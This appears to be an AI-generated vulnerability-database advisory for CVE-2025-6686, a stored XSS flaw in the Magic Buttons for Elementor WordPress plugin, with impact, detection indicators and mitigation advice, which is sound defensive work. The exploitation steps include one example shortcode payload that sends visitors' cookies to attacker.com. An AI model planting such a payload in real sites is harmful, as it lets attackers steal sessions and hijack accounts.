
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2025-6686 is a Stored Cross-Site Scripting (XSS) vulnerability in the Magic Buttons for Elementor WordPress plugin, affecting all versions up to and including 1.0. The flaw stems from insufficient input sanitization and output escaping on the text attribute of the plugin's magic-button shortcode, allowing authenticated attackers with contributor-level access or above to inject arbitrary web scripts into pages. The vulnerability was published on July 2, 2025. It carries a CVSS v3.1 base score of 5.4 (Medium) per NVD, and 6.4 (Medium) per the assigning authority Wordfence (Wordfence, Red Hat CVE).
The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically a stored XSS variant. The magic-button shortcode in the plugin fails to properly sanitize the user-supplied text attribute before rendering it in page output, allowing malicious script content to be persisted in the database and served to site visitors. Exploitation requires the attacker to have at least contributor-level WordPress authentication, after which they can embed a crafted shortcode containing a JavaScript payload in any post or page they can edit. The injected script executes in the browser of any user who subsequently views the affected page (Wordfence, EUVD).
Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of other users' browsers, including administrators, when they visit an injected page. This can lead to session cookie theft, credential harvesting, unauthorized actions performed on behalf of victims, or redirection to malicious sites. The scope is changed (cross-site), meaning the impact extends beyond the attacker's own session, but availability is not directly affected (Wordfence, Red Hat CVE).
No public proof-of-concept exploit code or in-the-wild exploitation has been reported for CVE-2025-6686 as of the available data. The EPSS score is approximately 0.029% (0.000290), indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires authenticated access at contributor level or above, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence).
magic-button shortcode can be inserted.text attribute, for example: [magic-button text="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].text attribute is rendered in the HTML output, causing the injected script to execute in their browser — enabling session hijacking, credential theft, or further attacks (Wordfence).wp-admin/post.php or REST API endpoints containing magic-button shortcode content with encoded script tags or JavaScript event handlers in the text parameter.<script> tags, javascript: URIs, or HTML event attributes (e.g., onerror, onload) stored in the wp_posts table within shortcode content associated with the Magic Buttons for Elementor plugin.[magic-button] shortcode, potentially indicating cookie exfiltration or redirect activity.WordPress site administrators should update the Magic Buttons for Elementor plugin beyond version 1.0 as soon as a patched release is available from the plugin developer. In the interim, administrators should restrict contributor-level user permissions, disable the plugin if it is not essential, or use a Web Application Firewall (WAF) with XSS filtering rules to block malicious shortcode injection attempts. Wordfence users with the premium plugin benefit from firewall rules that can help mitigate exploitation (Wordfence, WordPress Plugin Page).
Wordfence disclosed the vulnerability as part of their weekly WordPress vulnerability report for the period of June 30 – July 6, 2025, noting it as a stored XSS issue requiring contributor-level access (Wordfence Blog). No significant broader media coverage or notable researcher commentary beyond the standard vulnerability disclosure process has been identified for this CVE.
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."